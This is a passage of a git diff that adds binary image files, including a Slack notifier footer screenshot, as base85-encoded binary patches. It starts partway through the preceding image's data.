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
OKCR5{%xX>kjQ<A%XBRjC

literal 0
HcmV?d00001

diff --git a/_images/notifier/slack/slack-footer.png b/_images/notifier/slack/slack-footer.png
new file mode 100644
index 0000000000000000000000000000000000000000..a53952c78f64bd3a981527c94fc9375420c226b4
GIT binary patch
literal 16064
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
